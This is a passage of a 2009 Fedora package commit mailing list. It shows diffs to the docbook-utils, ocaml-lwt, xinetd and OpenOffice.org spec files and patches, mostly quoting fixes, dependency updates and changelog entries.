@@ -368,7 +368,7 @@ case "$SGML_OPTIONS" in
 	fi
 	if [ -n "$papersize" ]
 	then
-	  SGML_OPTIONS="-V paper-type=$papersize $SGML_OPTIONS"
+	  SGML_OPTIONS="-V %paper-type%=$papersize $SGML_OPTIONS"
 	fi
 	;;
 esac

docbook-utils-rtfmanpage.patch:
 jw.1 |    5 +++++
 1 file changed, 5 insertions(+)

--- NEW FILE docbook-utils-rtfmanpage.patch ---
diff -urNp docbook-utils-0.6.14-orig/doc/man/jw.1 docbook-utils-0.6.14/doc/man/jw.1
--- docbook-utils-0.6.14-orig/doc/man/jw.1	2004-02-11 15:16:21.000000000 +0100
+++ docbook-utils-0.6.14/doc/man/jw.1	2009-08-13 10:44:03.000000000 +0200
@@ -192,6 +192,11 @@ by calling \fBJade\fR or
 \fBOpenJade\fR\&. The resulting file can
 then be inported into \fBMS Word\fR
 or one of its Linux replacement programs.
+
+\fBNote\fR - The original picture must be
+present when RTF document is viewed, because
+the RTF documents created by \fBOpenJade\fR
+includes pictures by reference.
 .TP
 \fB\fItex\fB\fR
 Converts to TeX by calling \fBJade\fR or

docbook-utils-sgmlinclude.patch:
 backends/man.in |    2 +-
 bin/jw.in       |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE docbook-utils-sgmlinclude.patch ---
diff -urNp docbook-utils-0.6.14-orig/backends/man.in docbook-utils-0.6.14/backends/man.in
--- docbook-utils-0.6.14-orig/backends/man.in	2009-07-24 15:17:42.000000000 +0200
+++ docbook-utils-0.6.14/backends/man.in	2009-07-24 15:20:57.000000000 +0200
@@ -7,7 +7,7 @@ HELPER=$SGML_BASE_DIR/docbook/utils- at VER
 TMPDIR=`mktemp -d /tmp/man.XXXXXX` || \
  { echo >&2 "man backend: could not create secure temporary directory"; exit 1;}
 trap 'rm -rf "${TMPDIR}"' EXIT
-nsgmls "$SGML_FILE" > "${TMPDIR}/nsgmls.tmp"
+nsgmls "$SGML_INCLUDE" "$SGML_FILE" > "${TMPDIR}/nsgmls.tmp"
 sgmlspl $HELPER <"${TMPDIR}/nsgmls.tmp" 2>"${TMPDIR}/errs"
 if [ $? -ne 0 ]
 then
diff -urNp docbook-utils-0.6.14-orig/bin/jw.in docbook-utils-0.6.14/bin/jw.in
--- docbook-utils-0.6.14-orig/bin/jw.in	2009-07-24 15:17:42.000000000 +0200
+++ docbook-utils-0.6.14/bin/jw.in	2009-07-24 15:18:51.000000000 +0200
@@ -423,7 +423,7 @@ echo "Using catalogs: `echo $SGML_CATALO
 echo "Using stylesheet: $SGML_STYLESHEET"
 echo "Working on: $SGML_FILE"
 cd "$SGML_OUTPUT_DIRECTORY"
-export SGML_JADE SGML_FILE_NAME SGML_ARGUMENTS
+export SGML_JADE SGML_FILE_NAME SGML_ARGUMENTS SGML_INCLUDE
 export SGML_CATALOG_FILES SGML_BASE_DIR SGML_FILE SGML_STYLESHEET
 NOCHUNKS=`echo $SGML_OPTIONS | grep nochunks`
 if [ -z "$NOCHUNKS" ]

docbook-utils-2ndspaces.patch:
 backends/dvi                          |   26 +++++++++++++-------------
 backends/html                         |    2 +-
 backends/pdf                          |   20 ++++++++++----------
 backends/ps                           |   28 ++++++++++++++--------------
 backends/rtf                          |    2 +-
 backends/tex                          |    2 +-
 backends/txt                          |    2 +-
 bin/jw.in                             |   10 +++++-----
 docbook-utils-0.6.14/backends/man.in  |    2 +-
 docbook-utils-0.6.14/backends/texi.in |    2 +-
 10 files changed, 48 insertions(+), 48 deletions(-)

Index: docbook-utils-2ndspaces.patch
===================================================================
RCS file: /cvs/extras/rpms/docbook-utils/F-11/docbook-utils-2ndspaces.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- docbook-utils-2ndspaces.patch	24 May 2007 11:02:58 -0000	1.1
+++ docbook-utils-2ndspaces.patch	12 Oct 2009 08:40:37 -0000	1.2
@@ -190,6 +190,15 @@
  fi
 --- Original/bin/jw.in	2003-04-30 18:21:49.000000000 +0200
 +++ Changes/bin/jw.in	2007-05-21 14:28:58.000000000 +0200
+@@ -246,7 +246,7 @@ then
+   echo -e $SGML_HELP_MESSAGE >&2
+   exit 1
+ fi
+-if [ ! -s $SGML_FRONTEND ]
++if [ ! -s "$SGML_FRONTEND" ]
+ then
+   echo "`basename $0`: There is no frontend called \"$SGML_FRONTEND\"." >&2
+   exit 2
 @@ -270,14 +270,14 @@
    echo -e $SGML_HELP_MESSAGE >&2
    exit 1
@@ -225,3 +234,27 @@
  fi
  SGML_RETURN=$?
  cd "$SGML_CURRENT_DIRECTORY"
+diff -urNp docbook-utils-0.6.14-orig/backends/man.in docbook-utils-0.6.14/backends/man.in
+--- docbook-utils-0.6.14-orig/backends/man.in	2003-02-11 13:56:23.000000000 +0100
++++ docbook-utils-0.6.14/backends/man.in	2009-07-24 15:07:04.000000000 +0200
+@@ -7,7 +7,7 @@ HELPER=$SGML_BASE_DIR/docbook/utils- at VER
+ TMPDIR=`mktemp -d /tmp/man.XXXXXX` || \
+  { echo >&2 "man backend: could not create secure temporary directory"; exit 1;}
+ trap 'rm -rf "${TMPDIR}"' EXIT
+-nsgmls $SGML_FILE > "${TMPDIR}/nsgmls.tmp"
++nsgmls "$SGML_FILE" > "${TMPDIR}/nsgmls.tmp"
+ sgmlspl $HELPER <"${TMPDIR}/nsgmls.tmp" 2>"${TMPDIR}/errs"
+ if [ $? -ne 0 ]
+ then
+diff -urNp docbook-utils-0.6.14-orig/backends/texi.in docbook-utils-0.6.14/backends/texi.in
+--- docbook-utils-0.6.14-orig/backends/texi.in	2002-08-05 23:20:56.000000000 +0200
++++ docbook-utils-0.6.14/backends/texi.in	2009-07-24 15:08:02.000000000 +0200
+@@ -3,7 +3,7 @@
+ # This program is under GPL license. See LICENSE file for details.
+ 
+ # Convert to texinfo
+-nsgmls $SGML_FILE | sgmlspl $SGML_BASE_DIR/docbook/utils- at VERSION@/helpers/docbook2texi-spec.pl >$SGML_FILE_NAME.texi
++nsgmls "$SGML_FILE" | sgmlspl $SGML_BASE_DIR/docbook/utils- at VERSION@/helpers/docbook2texi-spec.pl >$SGML_FILE_NAME.texi
+ if [ $? -ne 0 ]
+ then exit 1
+ fi


Index: docbook-utils.spec
===================================================================
RCS file: /cvs/extras/rpms/docbook-utils/F-11/docbook-utils.spec,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- docbook-utils.spec	24 Feb 2009 12:21:29 -0000	1.31
+++ docbook-utils.spec	12 Oct 2009 08:40:41 -0000	1.32
@@ -1,10 +1,10 @@
 Name: docbook-utils
 Version: 0.6.14
-Release: 16%{?dist}
+Release: 17%{?dist}
 Group: Applications/Text
 
 Summary: Shell scripts for managing DocBook documents
-URL: ftp://sources.redhat.com/pub/docbook-tools/new-trials/
+URL: http://sources.redhat.com/docbook-tools/
 
 License: GPLv2+
 
@@ -25,13 +25,16 @@ Source2: gdp-both.dsl
 #You could check it at http://sourceforge.net/projects/docbook2x/
 Source3: docbook2man-spec.pl
 
-Obsoletes: stylesheets <= %{version}-%{release} 
+Obsoletes: stylesheets <= %{version}-%{release}
 Provides: stylesheets = %{version}-%{release}
 
 Patch0: docbook-utils-spaces.patch
 Patch1: docbook-utils-2ndspaces.patch
 Patch2: docbook-utils-w3mtxtconvert.patch
 Patch3: docbook-utils-grepnocolors.patch
+Patch4: docbook-utils-sgmlinclude.patch
+Patch5: docbook-utils-rtfmanpage.patch
+Patch6: docbook-utils-papersize.patch
 
 %description
 This package contains scripts are for easy conversion from DocBook
@@ -59,6 +62,9 @@ PDF format.
 %patch1 -p1 -b .2ndspaces
 %patch2 -p1 -b .w3mtxtconvert
 %patch3 -p1 -b .grepnocolors
+%patch4 -p1 -b .sgmlinclude
+%patch5 -p1 -b .rtfman
+%patch6 -p1 -b .papersize
 
 %build
 ./configure --prefix=%{_prefix} --mandir=%{_mandir} --libdir=%{_libdir}
@@ -73,6 +79,7 @@ do
 	ln -s docbook2$util $RPM_BUILD_ROOT%{_bindir}/db2$util
 	ln -s jw.1.gz $RPM_BUILD_ROOT/%{_mandir}/man1/db2$util.1
 done
+ln -s jw.1.gz $RPM_BUILD_ROOT/%{_mandir}/man1/docbook2txt.1
 # db2html is not just a symlink, as it has to create the output directory
 rm -f $RPM_BUILD_ROOT%{_bindir}/db2html
 install -p -m 755 %{SOURCE1} $RPM_BUILD_ROOT%{_bindir}/db2html
@@ -108,6 +115,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/*/docbook2man.*
 %{_mandir}/*/docbook2tex.*
 %{_mandir}/*/docbook2texi.*
+%{_mandir}/*/docbook2txt.*
 %{_mandir}/*/jw.*
 %{_mandir}/*/sgmldiff.*
 %{_mandir}/*/*-spec.*
@@ -126,6 +134,16 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/*/docbook2ps.*
 
 %changelog
+* Mon Oct 12 2009 Ondrej Vasik <ovasik at redhat.com> 0.6.14-17
+- fix locale-based papersize selection (#527395)
+- provide symlink manpage for docbook2txt
+- add note about openjade limitation in rtf section of jw
+  manpage(#516942)
+- another quoted variable fixes for spaces in filenames
+- use SGML_INCLUDE in man backend(upstream)
+- change upstream URL to something useful
+- escape dots and single quotes in column 1 in docbook2man-spec.pl
+
 * Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.14-16
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: docbook2man-spec.pl
===================================================================
RCS file: /cvs/extras/rpms/docbook-utils/F-11/docbook2man-spec.pl,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- docbook2man-spec.pl	8 Sep 2008 18:34:27 -0000	1.1
+++ docbook2man-spec.pl	12 Oct 2009 08:40:41 -0000	1.2
@@ -1499,6 +1499,11 @@ sgml('cdata', sub
 	# Escape backslashes
 	$_[0] =~ s/\\/\\\\/g;
 
+  # Escape dots and single quotes in column 1
+	$_[0] =~ s/^[ \t]*\./\\\&\./;
+	$_[0] =~ s/^[ \t]*\'/\\\&\'/;
+
+
 	# In non-'pre'-type elements:
 	if(!$nocollapse_whitespace) {
 		# Change tabs to spaces



From ovasik at fedoraproject.org  Mon Oct 12 08:42:30 2009
From: ovasik at fedoraproject.org (Ondrej Vasik)
Date: Mon, 12 Oct 2009 08:42:30 +0000 (UTC)
Subject: rpms/docbook-utils/F-11 docbook-utils.spec,1.32,1.33
Message-ID: <20091012084230.441CB11C0267@cvs1.fedora.phx.redhat.com>

Author: ovasik

Update of /cvs/extras/rpms/docbook-utils/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16309

Modified Files:
	docbook-utils.spec 
Log Message:
fix pdf subpackage requires(to match TeXLive2008 provides)


Index: docbook-utils.spec
===================================================================
RCS file: /cvs/extras/rpms/docbook-utils/F-11/docbook-utils.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- docbook-utils.spec	12 Oct 2009 08:40:41 -0000	1.32
+++ docbook-utils.spec	12 Oct 2009 08:42:29 -0000	1.33
@@ -44,7 +44,7 @@ for comparing SGML files.
 %package pdf
 Requires: jadetex >= 2.5
 Requires: docbook-utils = %{version}
-Requires: tetex-dvips
+Requires: tex(dvips)
 License: GPL+
 Group: Applications/Text
 Obsoletes: stylesheets-db2pdf <= %{version}-%{release}
@@ -143,6 +143,7 @@ rm -rf $RPM_BUILD_ROOT
 - use SGML_INCLUDE in man backend(upstream)
 - change upstream URL to something useful
 - escape dots and single quotes in column 1 in docbook2man-spec.pl
+- fix pdf subpackage requires(to match TeXLive2008 provides)
 
 * Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.14-16
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild



From rjones at fedoraproject.org  Mon Oct 12 08:50:06 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Mon, 12 Oct 2009 08:50:06 +0000 (UTC)
Subject: rpms/ocaml-lwt/devel ocaml-lwt.spec,1.9,1.10
Message-ID: <20091012085006.CAE4411C029E@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-lwt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18815

Modified Files:
	ocaml-lwt.spec 
Log Message:
Missing BR on camlp4.


Index: ocaml-lwt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-lwt/devel/ocaml-lwt.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- ocaml-lwt.spec	12 Oct 2009 08:39:50 -0000	1.9
+++ ocaml-lwt.spec	12 Oct 2009 08:50:06 -0000	1.10
@@ -3,7 +3,7 @@
 
 Name:           ocaml-lwt
 Version:        2.0.0
-Release:        0.1.rc1%{?dist}
+Release:        0.2.rc1%{?dist}
 Summary:        OCaml lightweight thread library
 
 Group:          Development/Libraries
@@ -16,6 +16,7 @@ ExcludeArch:    sparc64 s390 s390x
 BuildRequires:  ocaml >= 3.10.0
 BuildRequires:  ocaml-findlib-devel
 BuildRequires:  ocaml-ocamldoc
+BuildRequires:  ocaml-camlp4-devel
 BuildRequires:  ocaml-ssl >= 0.4.0
 BuildRequires:  ocaml-react >= 0.9.0
 BuildRequires:  chrpath
@@ -93,8 +94,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Mon Oct 12 2009 Richard W.M. Jones <rjones at redhat.com> - 2.0.0-0.1.rc1.fc13
+* Mon Oct 12 2009 Richard W.M. Jones <rjones at redhat.com> - 2.0.0-0.2.rc1.fc13
 - ocaml-react is now in Fedora, so build this package.
+- Missing BR on camlp4.
 
 * Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 2.0.0-0.rc1.fc13
 - New upstream version 2.0.0+rc1.



From ovasik at fedoraproject.org  Mon Oct 12 08:54:20 2009
From: ovasik at fedoraproject.org (Ondrej Vasik)
Date: Mon, 12 Oct 2009 08:54:20 +0000 (UTC)
Subject: rpms/docbook-utils/devel docbook-utils.spec,1.36,1.37
Message-ID: <20091012085420.DB66411C00DB@cvs1.fedora.phx.redhat.com>

Author: ovasik

Update of /cvs/extras/rpms/docbook-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19841

Modified Files:
	docbook-utils.spec 
Log Message:
fix url in pdf subpackage


Index: docbook-utils.spec
===================================================================
RCS file: /cvs/extras/rpms/docbook-utils/devel/docbook-utils.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- docbook-utils.spec	7 Oct 2009 12:49:11 -0000	1.36
+++ docbook-utils.spec	12 Oct 2009 08:54:20 -0000	1.37
@@ -1,6 +1,6 @@
 Name: docbook-utils
 Version: 0.6.14
-Release: 21%{?dist}
+Release: 22{?dist}
 Group: Applications/Text
 
 Summary: Shell scripts for managing DocBook documents
@@ -50,7 +50,7 @@ Group: Applications/Text
 Obsoletes: stylesheets-db2pdf <= %{version}-%{release}
 Provides: stylesheets-db2pdf = %{version}-%{release}
 Summary: A script for converting DocBook documents to PDF format
-URL: ftp://sources.redhat.com/pub/docbook-tools/new-trials/
+URL: http://sources.redhat.com/docbook-tools/
 
 %description pdf
 This package contains a script for converting DocBook documents to
@@ -134,6 +134,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/*/docbook2ps.*
 
 %changelog
+* Mon Oct 12 2009 Ondrej Vasik <ovasik at redhat.com> 0.6.14-22
+- fix url in pdf subpackage
+
 * Wed Oct 07 2009 Ondrej Vasik <ovasik at redhat.com> 0.6.14-21
 - fix locale-based papersize selection (#527395)
 



From jzeleny at fedoraproject.org  Mon Oct 12 08:56:17 2009
From: jzeleny at fedoraproject.org (Jan Zeleny)
Date: Mon, 12 Oct 2009 08:56:17 +0000 (UTC)
Subject: rpms/xinetd/devel xinetd.init,1.13,1.14 xinetd.spec,1.64,1.65
Message-ID: <20091012085617.6E8BD11C00DB@cvs1.fedora.phx.redhat.com>

Author: jzeleny

Update of /cvs/extras/rpms/xinetd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20237

Modified Files:
	xinetd.init xinetd.spec 
Log Message:
updated init script (LSB compliance)


Index: xinetd.init
===================================================================
RCS file: /cvs/extras/rpms/xinetd/devel/xinetd.init,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- xinetd.init	30 Jan 2008 08:18:42 -0000	1.13
+++ xinetd.init	12 Oct 2009 08:56:17 -0000	1.14
@@ -52,6 +52,10 @@ prog="xinetd"
 start(){
     [ -f /usr/sbin/xinetd ] || exit 5
     [ -f /etc/xinetd.conf ] || exit 6
+	touch /var/run/xinetd.pid > /dev/null 2>&1
+	[ $? -eq 0 ] || exit 4
+	touch /var/lock/subsys/xinetd > /dev/null 2>&1
+	[ $? -eq 0 ] || exit 4
 
     echo -n $"Starting $prog: "
 
@@ -79,6 +83,16 @@ start(){
 stop(){
     [ -f /usr/sbin/xinetd ] || exit 5
     [ -f /etc/xinetd.conf ] || exit 6
+    if [ -f /var/lock/subsys/xinetd ]; then
+		if [ ! -w /var/lock/subsys/xinetd ]; then
+			exit 4
+		fi
+	fi
+    if [ -f /var/run/xinetd.pid ]; then
+		if [ ! -w /var/run/xinetd.pid ]; then
+			exit 4
+		fi
+	fi
 
     echo -n $"Stopping $prog: "
     killproc -p /var/run/xinetd.pid $prog


Index: xinetd.spec
===================================================================
RCS file: /cvs/extras/rpms/xinetd/devel/xinetd.spec,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- xinetd.spec	17 Sep 2009 20:38:05 -0000	1.64
+++ xinetd.spec	12 Oct 2009 08:56:17 -0000	1.65
@@ -1,7 +1,7 @@
 Summary: A secure replacement for inetd
 Name: xinetd
 Version: 2.3.14
-Release: 25%{?dist}
+Release: 26%{?dist}
 License: xinetd 
 Group: System Environment/Daemons
 Epoch: 2
@@ -119,6 +119,9 @@ fi
 %{_mandir}/*/*
 
 %changelog
+* Mon Oct 12 2009 Jan Zeleny <jzeleny at redhat.com> - 2:2.3.14-26
+- updated init script (LSB compliance - #528154)
+
 * Thu Sep 17 2009 Jan Zeleny <jzeleny at redhat.com> - 2:2.3.14-25
 - correction of last patch replacing select() with poll()
 



From caolanm at fedoraproject.org  Mon Oct 12 08:59:28 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Mon, 12 Oct 2009 08:59:28 +0000 (UTC)
Subject: rpms/openoffice.org/devel
	openoffice.org-1.9.123.ooo53397.prelinkoptimize.desktop.patch,
	1.11, 1.12 openoffice.org.spec, 1.2024, 1.2025
Message-ID: <20091012085928.0C24F11C00DB@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21046

Modified Files:
	openoffice.org-1.9.123.ooo53397.prelinkoptimize.desktop.patch 
	openoffice.org.spec 
Log Message:
move prelink optimization into a proper patch

openoffice.org-1.9.123.ooo53397.prelinkoptimize.desktop.patch:
 scripts/soffice.sh |   12 +++--------
 util/makefile.mk   |   55 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 59 insertions(+), 8 deletions(-)

Index: openoffice.org-1.9.123.ooo53397.prelinkoptimize.desktop.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org-1.9.123.ooo53397.prelinkoptimize.desktop.patch,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- openoffice.org-1.9.123.ooo53397.prelinkoptimize.desktop.patch	10 Oct 2009 15:48:45 -0000	1.11
+++ openoffice.org-1.9.123.ooo53397.prelinkoptimize.desktop.patch	12 Oct 2009 08:59:27 -0000	1.12
@@ -1,5 +1,5 @@
---- SRC680_m123/desktop/scripts/soffice.sh.orig	2005-08-15 20:17:35.000000000 +0100
-+++ SRC680_m123/desktop/scripts/soffice.sh	2005-08-15 20:19:36.000000000 +0100
+--- desktop.orig/scripts/soffice.sh	2005-08-15 20:17:35.000000000 +0100
++++ desktop/scripts/soffice.sh	2005-08-15 20:19:36.000000000 +0100
 @@ -73,30 +73,26 @@
    esac
  done
@@ -35,25 +35,67 @@
  
  # extend the ld_library_path for java: javaldx checks the sofficerc for us
  if [ -x "$sd_prog/../basis-link/ure-link/bin/javaldx" ] ; then
-Index: osl/unx/signal.c
-===================================================================
-RCS file: /cvs/porting/sal/osl/unx/signal.c,v
-retrieving revision 1.28
-diff -u -p -u -r1.28 signal.c
---- openoffice.org.orig/sal/osl/unx/signal.c	8 Sep 2005 15:00:57 -0000	1.28
-+++ openoffice.org/sal/osl/unx/signal.c	3 Nov 2005 11:42:52 -0000
-@@ -185,6 +185,14 @@
- 	if (strProgName)
- 	{
- 		idx = rtl_str_indexOfStr (rtl_string_getStr (strProgName), "soffice");
-+                if (idx == -1)
-+                	idx = rtl_str_indexOfStr (rtl_string_getStr (strProgName), "swriter");
-+                if (idx == -1)
-+                        idx = rtl_str_indexOfStr (rtl_string_getStr (strProgName), "simpress");
-+                if (idx == -1)
-+                        idx = rtl_str_indexOfStr (rtl_string_getStr (strProgName), "scalc");
-+                if (idx == -1)
-+                        idx = rtl_str_indexOfStr (rtl_string_getStr (strProgName), "sdraw");
- 		rtl_string_release (strProgName);
- 	}
- 	return (idx != -1);
+--- desktop.orig/util/makefile.mk	2009-10-12 08:41:17.000000000 +0100
++++ desktop/util/makefile.mk	2009-10-12 09:52:19.000000000 +0100
+@@ -189,6 +189,61 @@
+ APP5DEPN= $(APP1TARGETN) $(APP5RES) ooverinfo.rc
+ APP5DEF=    $(MISCX)$/$(TARGET).def
+ 
++.IF "$(OS)" == "LINUX"
++PRELINKLIBS=$(APP5STDLIBS)
++PRELINKLIBS+= \
++    $(SVXLIB) \
++    $(SVXCORELIB) \
++    $(XMLOFFLIB) \
++    -lfwl$(DLLPOSTFIX) \
++    -lpackage2 \
++    -lucpfile1 \
++    -lucb1 \
++    $(STORELIB) \
++    $(REGLIB) \
++    -lvclplug_gtk$(DLLPOSTFIX) \
++    -lvclplug_gen$(DLLPOSTFIX) \
++    -ldtrans \
++    $(LNGLIB) \
++    $(ICUINLIB)
++
++APP6TARGET=swriter
++APP6NOSAL=TRUE
++APP6RPATH=BRAND
++APP6OBJS=$(APP5OBJS)
++APP6STDLIBS=$(PRELINKLIBS) \
++    $(ISWLIB)
++APP6DEPN=$(APP5DEPN)
++APP6DEF=$(MISCX)$/$(TARGET).def
++
++APP7TARGET=scalc
++APP7NOSAL=TRUE
++APP7RPATH=BRAND
++APP7OBJS=$(APP5OBJS)
++APP7STDLIBS=$(PRELINKLIBS) \
++    $(ISCLIB)
++APP7DEPN=$(APP5DEPN)
++APP7DEF=$(MISCX)$/$(TARGET).def
++
++APP8TARGET=sdraw
++APP8NOSAL=TRUE
++APP8RPATH=BRAND
++APP8OBJS=$(APP5OBJS)
++APP8STDLIBS=$(PRELINKLIBS) \
++    $(ISDLIB)
++APP8DEPN=$(APP5DEPN)
++APP8DEF=$(MISCX)$/$(TARGET).def
++
++APP9TARGET=simpress
++APP9NOSAL=TRUE
++APP9RPATH=BRAND
++APP9OBJS=$(APP5OBJS)
++APP9STDLIBS=$(PRELINKLIBS) \
++    $(ISDLIB)
++APP9DEPN=$(APP5DEPN)
++APP9DEF=$(MISCX)$/$(TARGET).def
++.ENDIF
++
+ .IF "$(GUI)" == "WNT"
+ APP5RES=    $(RES)$/oodesktop.res
+ APP5ICON=$(SOLARRESDIR)$/icons/ooo3_main_app.ico


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2024
retrieving revision 1.2025
diff -u -p -r1.2024 -r1.2025
--- openoffice.org.spec	12 Oct 2009 07:39:12 -0000	1.2024
+++ openoffice.org.spec	12 Oct 2009 08:59:27 -0000	1.2025
@@ -1717,13 +1717,6 @@ cd ..
 cd openoffice.org
 ./create_tree.sh
 
-#start of jakub based suggestion on prelink optimization 
-cd ../../../../desktop/util
-`( (echo $LINK -Wl,-z,combreloc -Wl,-z,defs -Wl,-rpath,'$ORIGIN:$ORIGIN/../basis-link/program:$ORIGIN/../basis-link/ure-link/lib' -Wl,-export-dynamic -Wl,--noinhibit-exec $SOLARLIB -L../$OUTPATH.pro/lib -lsofficeapp ../$OUTPATH.pro/obj/main.o ../$OUTPATH.pro/obj/copyright_ascii_ooo.o -o ../$OUTPATH.pro/bin/swriter) && (grep -h ^lib ../$OUTPATH.pro/misc/pagein-writer | cut -c 4- | cut -d "." -f 1 | awk '{ print "-l"$0 }') | xargs ) | xargs`
-`( (echo $LINK -Wl,-z,combreloc -Wl,-z,defs -Wl,-rpath,'$ORIGIN:$ORIGIN/../basis-link/program:$ORIGIN/../basis-link/ure-link/lib' -Wl,-export-dynamic -Wl,--noinhibit-exec $SOLARLIB -L../$OUTPATH.pro/lib -lsofficeapp ../$OUTPATH.pro/obj/main.o ../$OUTPATH.pro/obj/copyright_ascii_ooo.o -o ../$OUTPATH.pro/bin/scalc) && (grep -h ^lib ../$OUTPATH.pro/misc/pagein-calc| cut -c 4- | cut -d "." -f 1 | awk '{ print "-l"$0 }') | xargs ) | xargs`
-`( (echo $LINK -Wl,-z,combreloc -Wl,-z,defs -Wl,-rpath,'$ORIGIN:$ORIGIN/../basis-link/program:$ORIGIN/../basis-link/ure-link/lib' -Wl,-export-dynamic -Wl,--noinhibit-exec $SOLARLIB -L../$OUTPATH.pro/lib -lsofficeapp ../$OUTPATH.pro/obj/main.o ../$OUTPATH.pro/obj/copyright_ascii_ooo.o -o ../$OUTPATH.pro/bin/simpress) && (grep -h ^lib ../$OUTPATH.pro/misc/pagein-impress| cut -c 4- | cut -d "." -f 1 | awk '{ print "-l"$0 }') | xargs ) | xargs`
-`( (echo $LINK -Wl,-z,combreloc -Wl,-z,defs -Wl,-rpath,'$ORIGIN:$ORIGIN/../basis-link/program:$ORIGIN/../basis-link/ure-link/lib' -Wl,-export-dynamic -Wl,--noinhibit-exec $SOLARLIB -L../$OUTPATH.pro/lib -lsofficeapp ../$OUTPATH.pro/obj/main.o ../$OUTPATH.pro/obj/copyright_ascii_ooo.o -o ../$OUTPATH.pro/bin/sdraw) && (grep -h ^lib ../$OUTPATH.pro/misc/pagein-draw| cut -c 4- | cut -d "." -f 1 | awk '{ print "-l"$0 }') | xargs ) | xargs`
-#end of jakub based suggestion on prelink optimization
 echo build end time is `date`, diskspace: `df -h . | tail -n 1`
 
 %install



From caolanm at fedoraproject.org  Mon Oct 12 09:33:06 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Mon, 12 Oct 2009 09:33:06 +0000 (UTC)
Subject: rpms/openoffice.org/devel openoffice.org.spec,1.2025,1.2026
Message-ID: <20091012093306.61B2A11C00DB@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29040

Modified Files:
	openoffice.org.spec 
Log Message:
wrong prefix


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2025
retrieving revision 1.2026
diff -u -p -r1.2025 -r1.2026
--- openoffice.org.spec	12 Oct 2009 08:59:27 -0000	1.2025
+++ openoffice.org.spec	12 Oct 2009 09:33:04 -0000	1.2026
@@ -1578,7 +1578,7 @@ cp -p %{SOURCE5} external/unowinreg/unow
 %patch2 -p1 -b .rh127576.gtkunixprintdialog.patch
 %endif
 %patch3  -p1 -b .rhXXXXXX.extensions.defaulttoevo2.patch
-%patch4  -p1 -b .ooo53397.prelinkoptimize.desktop.patch
+%patch4  -p0 -b .ooo53397.prelinkoptimize.desktop.patch
 %patch5  -p1 -b .ooo58606.sw.pre-edit.patch
 %patch6  -p1
 %patch7  -p1 -b .ooo88303.vcl.dynamicfontoptions.patch



From ovasik at fedoraproject.org  Mon Oct 12 09:41:52 2009
From: ovasik at fedoraproject.org (Ondrej Vasik)
Date: Mon, 12 Oct 2009 09:41:52 +0000 (UTC)
Subject: rpms/docbook-utils/F-10 docbook-utils-papersize.patch, NONE,
	1.1 docbook-utils-rtfmanpage.patch, NONE,
	1.1 docbook-utils-sgmlinclude.patch, NONE,
	1.1 docbook-utils-2ndspaces.patch, 1.1, 1.2 docbook-utils.spec,
	1.30, 1.31 docbook2man-spec.pl, 1.1, 1.2
Message-ID: <20091012094152.0730811C00DB@cvs1.fedora.phx.redhat.com>

Author: ovasik

Update of /cvs/extras/rpms/docbook-utils/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30458

Modified Files:
	docbook-utils-2ndspaces.patch docbook-utils.spec 
	docbook2man-spec.pl 
Added Files:
	docbook-utils-papersize.patch docbook-utils-rtfmanpage.patch 
	docbook-utils-sgmlinclude.patch 
Log Message:
Cumulative update from Rawhide

docbook-utils-papersize.patch:
 jw.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE docbook-utils-papersize.patch ---
diff -urNp docbook-utils-0.6.14-orig/bin/jw.in docbook-utils-0.6.14/bin/jw.in
--- docbook-utils-0.6.14-orig/bin/jw.in	2009-10-07 14:41:19.000000000 +0200
+++ docbook-utils-0.6.14/bin/jw.in	2009-10-07 14:45:22.000000000 +0200
@@ -368,7 +368,7 @@ case "$SGML_OPTIONS" in
 	fi
 	if [ -n "$papersize" ]
 	then
-	  SGML_OPTIONS="-V paper-type=$papersize $SGML_OPTIONS"
